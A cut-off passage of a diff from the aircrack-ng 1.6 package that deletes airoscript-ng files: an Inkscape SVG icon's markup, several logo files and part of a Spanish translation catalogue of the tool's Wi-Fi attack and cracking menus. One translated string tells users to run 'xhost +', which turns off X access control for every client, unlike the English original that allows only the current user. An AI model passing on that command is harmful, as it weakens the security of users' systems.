-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(0.30275256,0,0,0.36100172,238.67991,228.3852)"
-       x1="338.75"
-       y1="72.4375"
-       x2="336.61227"
-       y2="48.122566" />
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#White-2"
-       id="linearGradient6932"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(0.34212407,0,0,0.40178528,225.87277,226.38235)"
-       x1="332.90469"
-       y1="74.918564"
-       x2="331.11429"
-       y2="45.043301" />
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#BorderWhite-1"
-       id="linearGradient6934"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(0.34212407,0,0,0.40178528,225.87277,226.38235)"
-       x1="332.90469"
-       y1="74.918564"
-       x2="331.11429"
-       y2="45.043301" />
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#White-2"
-       id="linearGradient7450"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(0.34212407,0,0,0.40178528,225.87277,226.38235)"
-       x1="332.90469"
-       y1="74.918564"
-       x2="331.11429"
-       y2="45.043301" />
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#BorderWhite-1"
-       id="linearGradient7452"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(0.34212407,0,0,0.40178528,225.87277,226.38235)"
-       x1="332.90469"
-       y1="74.918564"
-       x2="331.11429"
-       y2="45.043301" />
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#Black"
-       id="linearGradient7454"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(0.30275256,0,0,0.36100172,238.67991,228.3852)"
-       x1="338.75"
-       y1="72.4375"
-       x2="336.61227"
-       y2="48.122566" />
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#BorderBlack"
-       id="linearGradient7456"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(0.30275256,0,0,0.36100172,238.67991,228.3852)"
-       x1="338.75"
-       y1="72.4375"
-       x2="336.61227"
-       y2="48.122566" />
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#White-2"
-       id="linearGradient7463"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(0.47877519,0,0,0.5022042,178.30425,168.70097)"
-       x1="332.90469"
-       y1="74.918564"
-       x2="331.328"
-       y2="45.219303" />
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#BorderWhite-1"
-       id="linearGradient7465"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(0.47877519,0,0,0.5022042,178.30425,168.70097)"
-       x1="332.90469"
-       y1="74.918564"
-       x2="331.328"
-       y2="45.219303" />
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#Black"
-       id="linearGradient7467"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(0.46830984,0,0,0.49656402,180.85241,168.43294)"
-       x1="338.75"
-       y1="72.4375"
-       x2="336.34955"
-       y2="45.959805" />
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#BorderBlack"
-       id="linearGradient7469"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(0.46830984,0,0,0.49656402,180.85241,168.43294)"
-       x1="338.75"
-       y1="72.4375"
-       x2="336.34955"
-       y2="45.959805" />
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#White-0"
-       id="linearGradient7488"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(0.66149142,0,0,0.66982161,114.66676,93.296588)"
-       x1="332.90469"
-       y1="74.918564"
-       x2="330.73273"
-       y2="45.043301" />
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#BorderWhite-2"
-       id="linearGradient7490"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(0.66149142,0,0,0.66982161,114.66676,93.296588)"
-       x1="332.90469"
-       y1="74.918564"
-       x2="330.73273"
-       y2="45.043301" />
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#Black"
-       id="linearGradient7492"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(0.68990436,0,0,0.7239178,103.43877,89.151364)"
-       x1="338.75"
-       y1="72.4375"
-       x2="336.3204"
-       y2="46.474213" />
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#BorderBlack"
-       id="linearGradient7494"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(0.68990436,0,0,0.7239178,103.43877,89.151364)"
-       x1="338.75"
-       y1="72.4375"
-       x2="336.3204"
-       y2="46.474213" />
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#Grey-0"
-       id="linearGradient7496"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(1,0,0,1.0026734,2.850789,6.376868)"
-       x1="109.77364"
-       y1="223.0867"
-       x2="100.08942"
-       y2="43.081623" />
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#BorderWhite-86"
-       id="linearGradient7498"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(5.2911313,0,0,5.438824,-1648.8179,-177.4089)"
-       x1="332.90469"
-       y1="74.918564"
-       x2="331.07443"
-       y2="41.733761" />
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#White-3"
-       id="linearGradient7500"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(5.2686779,0,0,5.4065317,-1641.1482,-175.48701)"
-       x1="332.90469"
-       y1="74.918564"
-       x2="331.94287"
-       y2="45.043301" />
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#BorderBlack"
-       id="linearGradient7504"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(5.6282713,0,0,6.0581204,-1776.4705,-221.95269)"
-       x1="338.75"
-       y1="72.4375"
-       x2="337.07861"
-       y2="46.431705" />
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#White"
-       id="linearGradient4504"
-       x1="108.33787"
-       y1="203.69077"
-       x2="102.46311"
-       y2="158.56992"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(0.55260397,0,0,0.55260397,59.523228,-44.619842)" />
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#White"
-       id="linearGradient4512"
-       x1="184.57124"
-       y1="167.84987"
-       x2="181.50276"
-       y2="152.96629"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(0.80023104,0,0,0.80023105,4.7395125,-18.893111)" />
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#White"
-       id="linearGradient4522"
-       gradientUnits="userSpaceOnUse"
-       x1="108.33787"
-       y1="203.69077"
-       x2="102.46311"
-       y2="158.56992"
-       gradientTransform="matrix(0.2225841,0,0,0.22258408,303.61952,20.79213)" />
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#White"
-       id="linearGradient4524"
-       gradientUnits="userSpaceOnUse"
-       x1="191.3763"
-       y1="167.88641"
-       x2="184.69833"
-       y2="138.00739"
-       gradientTransform="matrix(0.29818839,0,0,0.29818841,496.72506,-9.4177438)" />
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#White"
-       id="linearGradient4534"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(0.13355776,0,0,0.13355774,314.86644,118.85165)"
-       x1="108.33787"
-       y1="203.69077"
-       x2="102.46311"
-       y2="158.56992" />
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#White"
-       id="linearGradient4536"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(0.16347721,0,0,0.16347722,472.69225,66.7031)"
-       x1="191.7011"
-       y1="167.76917"
-       x2="187.75838"
-       y2="153.94051" />
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#White"
-       id="linearGradient4549"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(0.13355776,0,0,0.13355774,314.86644,118.85165)"
-       x1="108.33787"
-       y1="203.69077"
-       x2="102.46311"
-       y2="158.56992" />
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#White"
-       id="linearGradient4551"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(0.13355776,0,0,0.13355774,314.86644,118.85165)"
-       x1="108.33787"
-       y1="203.69077"
-       x2="102.46311"
-       y2="158.56992" />
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#White"
-       id="linearGradient4553"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(0.16347721,0,0,0.16347722,477.09637,109.67003)"
-       x1="185.80753"
-       y1="167.60445"
-       x2="181.23924"
-       y2="153.78439" />
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#White"
-       id="linearGradient4563"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(0.13355776,0,0,0.13355774,314.86644,118.85165)"
-       x1="108.33787"
-       y1="203.69077"
-       x2="102.46311"
-       y2="158.56992" />
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#White"
-       id="linearGradient4565"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(0.13355776,0,0,0.13355774,314.86644,118.85165)"
-       x1="108.33787"
-       y1="203.69077"
-       x2="102.46311"
-       y2="158.56992" />
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#White"
-       id="linearGradient4567"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(0.11422668,0,0,0.11422668,681.61984,104.19607)"
-       x1="192.56071"
-       y1="167.73216"
-       x2="187.01338"
-       y2="159.01981" />
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#White"
-       id="linearGradient6106"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(0.13355776,0,0,0.13355774,314.86644,118.85165)"
-       x1="108.33787"
-       y1="203.69077"
-       x2="102.46311"
-       y2="158.56992" />
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#White"
-       id="linearGradient3215"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(0.16347721,0,0,0.16347722,477.09637,108.32726)"
-       x1="185.80753"
-       y1="167.60445"
-       x2="181.23924"
-       y2="153.78439" />
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#White-2"
-       id="linearGradient3223"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(0.47877519,0,0,0.5022042,178.30425,168.70097)"
-       x1="332.90469"
-       y1="74.918564"
-       x2="331.328"
-       y2="45.219303" />
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#BorderWhite-1"
-       id="linearGradient3225"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(0.47877519,0,0,0.5022042,178.30425,168.70097)"
-       x1="332.90469"
-       y1="74.918564"
-       x2="331.328"
-       y2="45.219303" />
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#Black"
-       id="linearGradient3227"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(0.46830984,0,0,0.49656402,180.85241,168.43294)"
-       x1="338.75"
-       y1="72.4375"
-       x2="336.34955"
-       y2="45.959805" />
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#BorderBlack"
-       id="linearGradient3229"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(0.46830984,0,0,0.49656402,180.85241,168.43294)"
-       x1="338.75"
-       y1="72.4375"
-       x2="336.34955"
-       y2="45.959805" />
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#White"
-       id="linearGradient3231"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(0.13355776,0,0,0.13355774,314.86644,118.85165)"
-       x1="108.33787"
-       y1="203.69077"
-       x2="102.46311"
-       y2="158.56992" />
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#White"
-       id="linearGradient3233"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(0.13355776,0,0,0.13355774,314.86644,118.85165)"
-       x1="108.33787"
-       y1="203.69077"
-       x2="102.46311"
-       y2="158.56992" />
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#Black"
-       id="linearGradient3236"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(0.46830984,0,0,0.58645665,180.85241,162.05513)"
-       x1="338.75"
-       y1="72.4375"
-       x2="336.34955"
-       y2="45.959805" />
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#BorderBlack"
-       id="linearGradient3238"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(0.46830984,0,0,0.58645665,180.85241,162.05513)"
-       x1="338.75"
-       y1="72.4375"
-       x2="336.34955"
-       y2="45.959805" />
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#White-2"
-       id="linearGradient3241"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(0.47877519,0,0,0.56242677,178.30425,164.14538)"
-       x1="332.90469"
-       y1="74.918564"
-       x2="331.328"
-       y2="45.219303" />
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#BorderWhite-1"
-       id="linearGradient3243"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(0.47877519,0,0,0.56242677,178.30425,164.14538)"
-       x1="332.90469"
-       y1="74.918564"
-       x2="331.328"
-       y2="45.219303" />
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#White"
-       id="linearGradient3248"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(0.11422668,0,0,0.11422668,681.61984,103.6993)"
-       x1="192.56071"
-       y1="167.73216"
-       x2="187.01338"
-       y2="159.01981" />
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#White-2"
-       id="linearGradient3255"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(0.34212407,0,0,0.40178528,225.87277,226.38235)"
-       x1="332.90469"
-       y1="74.918564"
-       x2="331.11429"
-       y2="45.043301" />
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#BorderWhite-1"
-       id="linearGradient3257"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(0.34212407,0,0,0.40178528,225.87277,226.38235)"
-       x1="332.90469"
-       y1="74.918564"
-       x2="331.11429"
-       y2="45.043301" />
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#Black"
-       id="linearGradient3259"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(0.30275256,0,0,0.36100172,238.67991,228.3852)"
-       x1="338.75"
-       y1="72.4375"
-       x2="336.61227"
-       y2="48.122566" />
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#BorderBlack"
-       id="linearGradient3261"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(0.30275256,0,0,0.36100172,238.67991,228.3852)"
-       x1="338.75"
-       y1="72.4375"
-       x2="336.61227"
-       y2="48.122566" />
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#Black"
-       id="linearGradient3264"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(0.30275256,0,0,0.4074607,237.83616,226.05331)"
-       x1="338.75"
-       y1="72.4375"
-       x2="336.61227"
-       y2="48.122566" />
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#BorderBlack"
-       id="linearGradient3266"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(0.30275256,0,0,0.4074607,237.83616,226.05331)"
-       x1="338.75"
-       y1="72.4375"
-       x2="336.61227"
-       y2="48.122566" />
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#White-2"
-       id="linearGradient3269"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(0.34212407,0,0,0.43462894,225.02902,224.89468)"
-       x1="332.90469"
-       y1="74.918564"
-       x2="331.11429"
-       y2="45.043301" />
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#BorderWhite-1"
-       id="linearGradient3271"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(0.34212407,0,0,0.43462894,225.02902,224.89468)"
-       x1="332.90469"
-       y1="74.918564"
-       x2="331.11429"
-       y2="45.043301" />
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#White"
-       id="linearGradient3273"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(0.13355776,0,0,0.13355774,314.86644,118.85165)"
-       x1="108.33787"
-       y1="203.69077"
-       x2="102.46311"
-       y2="158.56992" />
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#White"
-       id="linearGradient3275"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(0.13355776,0,0,0.13355774,314.86644,118.85165)"
-       x1="108.33787"
-       y1="203.69077"
-       x2="102.46311"
-       y2="158.56992" />
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#White"
-       id="linearGradient3279"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(0.16347721,0,0,0.16347722,472.69225,65.339017)"
-       x1="191.7011"
-       y1="167.76917"
-       x2="187.75838"
-       y2="153.94051" />
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#White-0"
-       id="linearGradient3295"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(0.66149142,0,0,0.66982161,114.66676,93.296588)"
-       x1="332.90469"
-       y1="74.918564"
-       x2="330.73273"
-       y2="45.043301" />
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#BorderWhite-2"
-       id="linearGradient3297"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(0.66149142,0,0,0.66982161,114.66676,93.296588)"
-       x1="332.90469"
-       y1="74.918564"
-       x2="330.73273"
-       y2="45.043301" />
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#Black"
-       id="linearGradient3300"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(0.68990436,0,0,0.7239178,103.43877,89.151364)"
-       x1="338.75"
-       y1="72.4375"
-       x2="336.3204"
-       y2="46.474213" />
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#BorderBlack"
-       id="linearGradient3302"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(0.68990436,0,0,0.7239178,103.43877,89.151364)"
-       x1="338.75"
-       y1="72.4375"
-       x2="336.3204"
-       y2="46.474213" />
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#Black"
-       id="linearGradient3305"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(0.68990436,0,0,0.81416872,104.62627,86.599587)"
-       x1="338.75"
-       y1="72.4375"
-       x2="336.3204"
-       y2="46.474213" />
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#BorderBlack"
-       id="linearGradient3307"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(0.68990436,0,0,0.81416872,104.62627,86.599587)"
-       x1="338.75"
-       y1="72.4375"
-       x2="336.3204"
-       y2="46.474213" />
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#White-0"
-       id="linearGradient3310"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(0.66149142,0,0,0.73241825,115.85426,92.455289)"
-       x1="332.90469"
-       y1="74.918564"
-       x2="330.73273"
-       y2="45.043301" />
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#BorderWhite-2"
-       id="linearGradient3312"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(0.66149142,0,0,0.73241825,115.85426,92.455289)"
-       x1="332.90469"
-       y1="74.918564"
-       x2="330.73273"
-       y2="45.043301" />
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#White"
-       id="linearGradient3315"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(0.13355776,0,0,0.13355774,314.86644,118.85165)"
-       x1="108.33787"
-       y1="203.69077"
-       x2="102.46311"
-       y2="158.56992" />
-    <linearGradient
-       inkscape:collect="always"
-       xlink:href="#White"
-       id="linearGradient3317"
-       gradientUnits="userSpaceOnUse"
-       gradientTransform="matrix(0.13355776,0,0,0.13355774,314.86644,118.85165)"
-       x1="108.33787"
-       y1="203.69077"
-       x2="102.46311"
-       y2="158.56992" />
-  </defs>
-  <sodipodi:namedview
-     inkscape:cy="191.82134"
-     inkscape:current-layer="g7471"
-     inkscape:window-width="1364"
-     pagecolor="#ffffff"
-     objecttolerance="10"
-     showgrid="false"
-     inkscape:pageshadow="2"
-     inkscape:window-x="1440"
-     id="base"
-     bordercolor="#666666"
-     inkscape:window-y="19"
-     gridtolerance="10000"
-     inkscape:document-units="px"
-     inkscape:zoom="2"
-     inkscape:window-height="747"
-     borderopacity="1.0"
-     guidetolerance="10"
-     inkscape:cx="226.86386"
-     inkscape:pageopacity="0.0"
-     inkscape:snap-global="false"
-     inkscape:window-maximized="1"
-     showguides="true">
-    <inkscape:grid
-       type="xygrid"
-       id="grid4450" />
-  </sodipodi:namedview>
-  <metadata
-     id="metadata7">
-    <rdf:RDF>
-      <cc:Work
-         rdf:about="">
-        <dc:format>image/svg+xml</dc:format>
-        <dc:type
-           rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
-        <cc:license
-           rdf:resource="http://creativecommons.org/licenses/by-sa/3.0/" />
-        <dc:title />
-        <dc:description>apps</dc:description>
-        <dc:creator>
-          <cc:Agent>
-            <dc:title>Kris Thomsen</dc:title>
-          </cc:Agent>
-        </dc:creator>
-      </cc:Work>
-      <cc:License
-         rdf:about="http://creativecommons.org/licenses/by-sa/3.0/">
-        <cc:permits
-           rdf:resource="http://creativecommons.org/ns#Reproduction" />
-        <cc:permits
-           rdf:resource="http://creativecommons.org/ns#Distribution" />
-        <cc:requires
-           rdf:resource="http://creativecommons.org/ns#Notice" />
-        <cc:requires
-           rdf:resource="http://creativecommons.org/ns#Attribution" />
-        <cc:permits
-           rdf:resource="http://creativecommons.org/ns#DerivativeWorks" />
-        <cc:requires
-           rdf:resource="http://creativecommons.org/ns#ShareAlike" />
-      </cc:License>
-    </rdf:RDF>
-  </metadata>
-  <g
-     inkscape:groupmode="layer"
-     id="plate"
-     inkscape:label="plate"
-     style="display:none"
-     sodipodi:insensitive="true">
-    <rect
-       x="30"
-       y="24"
-       id="256x256"
-       height="256"
-       style="fill:#cccccc;fill-opacity:1;stroke:none"
-       width="256" />
-    <rect
-       x="318"
-       y="38.000011"
-       id="48x48"
-       height="48"
-       inkscape:label="scalable"
-       width="48"
-       style="fill:#cccccc;fill-opacity:1;stroke:none" />
-    <rect
-       x="326"
-       y="120"
-       id="32x32"
-       height="32"
-       style="fill:#cccccc;fill-opacity:1;stroke:none"
-       width="32" />
-    <rect
-       x="330"
-       y="186"
-       id="24x24"
-       height="24"
-       width="24"
-       style="fill:#cccccc;fill-opacity:1;stroke:none" />
-    <rect
-       x="331"
-       y="187"
-       id="22x22"
-       height="22"
-       style="fill:#999999;fill-opacity:1;stroke:none"
-       width="22" />
-    <rect
-       x="334"
-       y="243"
-       id="16x16"
-       height="16"
-       style="fill:#cccccc;fill-opacity:1;stroke:none"
-       width="16" />
-  </g>
-  <g
-     inkscape:groupmode="layer"
-     id="artwork"
-     inkscape:label="artwork"
-     style="display:inline">
-    <g
-       id="g3791"
-       transform="translate(0,4)">
-      <g
-         transform="translate(31.128626,-53.982756)"
-         id="g7471">
-        <path
-           style="fill:url(#linearGradient7496);fill-opacity:1;stroke:url(#linearGradient7498);stroke-width:1;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:4"
-           d="m 44.344094,68.092214 5.175704,-2.608481 c 0,0 74.764902,0 110.834862,0 35.83425,0 111.50275,0 111.50275,0 l 4.50782,2.608481 0,162.410666 -232.021136,0 0,-162.410666 z"
-           id="rect4408"
-           sodipodi:nodetypes="cccccccc"
-           inkscape:connector-curvature="0" />
-        <rect
-           y="68.556488"
-           x="44.82869"
-           height="161.44638"
-           width="231.03656"
-           id="rect5217"
-           style="fill:url(#linearGradient7500);fill-opacity:1;stroke:none" />
-        <rect
-           style="fill:#1a1a1a;fill-opacity:1;stroke:url(#linearGradient7504);stroke-width:0.99999987999999995;stroke-miterlimit:4;stroke-dasharray:none"
-           id="rect4410"
-           width="204.02484"
-           height="134.03592"
-           x="58.345833"
-           y="82.467873" />
-      </g>
-      <g
-         style="display:inline"
-         id="g21509"
-         transform="matrix(1.6322376,0,0,1.6322376,-70.283623,461.64867)">
-        <path
-           inkscape:connector-curvature="0"
-           d="m 167.774,-225.2574 c 0,4.14213 -3.35789,7.49997 -7.50002,7.49997 -4.14213,0 -7.49998,-3.35784 -7.49998,-7.49997 0,-4.14219 3.35785,-7.50003 7.49998,-7.50003 4.14213,0 7.50002,3.35784 7.50002,7.50003 l 0,0 z"
-           id="path14333"
-           style="fill:#a94300;fill-opacity:1;fill-rule:nonzero;stroke:none" />
-        <path
-           inkscape:connector-curvature="0"
-           style="fill:#3d7ca6;fill-opacity:1;fill-rule:evenodd;stroke:#a94300;stroke-width:6.37015486;stroke-linecap:round;stroke-linejoin:miter;stroke-miterlimit:4;stroke-opacity:1"
-           id="path14345"
-           d="m 175.06281,-236.91085 c 0,0 4.07042,4.17129 4.07042,12.10179 m -4.07042,12.05163 c 0,0 4.07042,-4.17127 4.07042,-12.10177" />
-        <path
-           inkscape:connector-curvature="0"
-           style="fill:#3d7ca6;fill-opacity:1;fill-rule:evenodd;stroke:#a94300;stroke-width:6.37015486;stroke-linecap:round;stroke-linejoin:miter;stroke-miterlimit:4;stroke-opacity:1"
-           id="path14347"
-           d="m 188.95017,-248.98755 c 0,0 8.14081,8.34256 8.14081,24.20355 m -8.14081,24.10329 c 0,0 8.14081,-8.34257 8.14081,-24.20356" />
-        <path
-           inkscape:connector-curvature="0"
-           style="fill:#3d7ca6;fill-opacity:1;fill-rule:evenodd;stroke:#d45400;stroke-width:6.37015486;stroke-linecap:round;stroke-linejoin:miter;stroke-miterlimit:4;stroke-opacity:1"
-           id="path14349"
-           d="m 204.09457,-261.06428 c 0,0 12.21122,12.51387 12.21122,36.30535 m -12.21122,36.15493 c 0,0 12.21122,-12.51387 12.21122,-36.30534" />
-        <path
-           inkscape:connector-curvature="0"
-           style="fill:#3d7ca6;fill-opacity:1;fill-rule:evenodd;stroke:#a94300;stroke-width:6.37015486;stroke-linecap:round;stroke-linejoin:miter;stroke-miterlimit:4;stroke-opacity:1"
-           id="path14351"
-           d="m 144.774,-236.91085 c 0,0 -4.07039,4.17129 -4.07039,12.10179 m 4.07039,12.05163 c 0,0 -4.07039,-4.17127 -4.07039,-12.10177" />
-        <path
-           inkscape:connector-curvature="0"
-           style="fill:#3d7ca6;fill-opacity:1;fill-rule:evenodd;stroke:#a94300;stroke-width:6.37015486;stroke-linecap:round;stroke-linejoin:miter;stroke-miterlimit:4;stroke-opacity:1"
-           id="path14353"
-           d="m 131.30567,-248.98755 c 0,0 -8.14081,8.34256 -8.14081,24.20355 m 8.14081,24.10329 c 0,0 -8.14081,-8.34257 -8.14081,-24.20356" />
-        <path
-           inkscape:connector-curvature="0"
-           style="fill:#3d7ca6;fill-opacity:1;fill-rule:evenodd;stroke:#a94300;stroke-width:6.37015486;stroke-linecap:round;stroke-linejoin:miter;stroke-miterlimit:4;stroke-opacity:1"
-           id="path14355"
-           d="m 116.16127,-261.06428 c 0,0 -12.21122,12.51387 -12.21122,36.30535 m 12.21122,36.15493 c 0,0 -12.21122,-12.51387 -12.21122,-36.30534" />
-      </g>
-    </g>
-  </g>
-</svg>

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/src/goodies/airoscript.xcf Deleted

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/src/goodies/airoscriptlogo.png Deleted

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/src/goodies/airoscriptlogo.xcf Deleted

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/src/locale Deleted

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/src/locale/airoscript-ng.po Deleted

@@ -1,462 +0,0 @@
-#: src/plugins/mdk3:36
-msgid "Unknown response. Try again"
-msgstr "Respuesta incorrecta, pruebe de nuevo"
-#: src/plugins/digenpy:45
-msgid "Encription is"
-msgstr "La encriptacion es"
-#: src/plugins/digenpy:52
-msgid "Error: You must select a target first"
-msgstr "Error: debe seleccionar un objetivo"
-#: src/functions/interface:38
-msgid "Automatically setting resolution to $reso"
-msgstr "Configurando resolucion automaticamente a $reso"
-#: src/functions/interface:39
-msgid "Access control for X is disabled for root. Please, as your normal user execute 'xhost +`whoami`' and press enter to continue"
-msgstr "El control de acceso a las X esta desactivado para root. Por favor, ejecuta 'xhost +' como tu usuario normal y pulsa enter"
-#: src/functions/interface:41
-msgid "Set resolution"
-msgstr "Configurar resolucion"
-#: src/functions/interface:43
-msgid "Unknown resolution, try again"
-msgstr "Resolucion desconocida, por favor, intentelo de nuevo"
-#: src/functions/interface:100
-msgid "Select option:"
-msgstr "Seleccionar: "
-#: src/functions/interface:125
-msgid ""
-"I cant find any good terminal, please set one on your conffile\n"
-"				Your TERMINAL var contains no valid temrinal\n"
-"				Your alternative against x-terminal-emulator contains no terminal\n"
-"				Xterm can\\'t be found on your system, Maybe not in /usr/bin?"
-msgstr "No puedo encontrar ningun terminal correcto, por favor, configure uno en airoscript-ng.conf"
-#: src/functions/menu:19
-msgid "Main Menu"
-msgstr "Menu principal"
-#: src/functions/menu:19
-msgid "Attack - Attack target"
-msgstr "Atacar - Atacar objetivo"
-#: src/functions/menu:19
-msgid "Crack  - Get target key"
-msgstr "Crackear - Crackear la clave del objetivo"
-#: src/functions/menu:19
-msgid "Select - Reselect target"
-msgstr "Seleccionar - Seleccionar otro objetivo"
-#: src/functions/menu:19
-msgid "Others - Various utilities"
-msgstr "Otros - Utilidades varias"
-#: src/functions/menu:19
-msgid "Autopwn- Automatic cracking"
-msgstr "Autopwn - Crackeo automatico"
-#: src/functions/menu:19
-msgid "Exit  - Quits"
-msgstr "Exit - Sale"
-#: src/functions/menu:28
-msgid "ERROR: Wrong number entered"
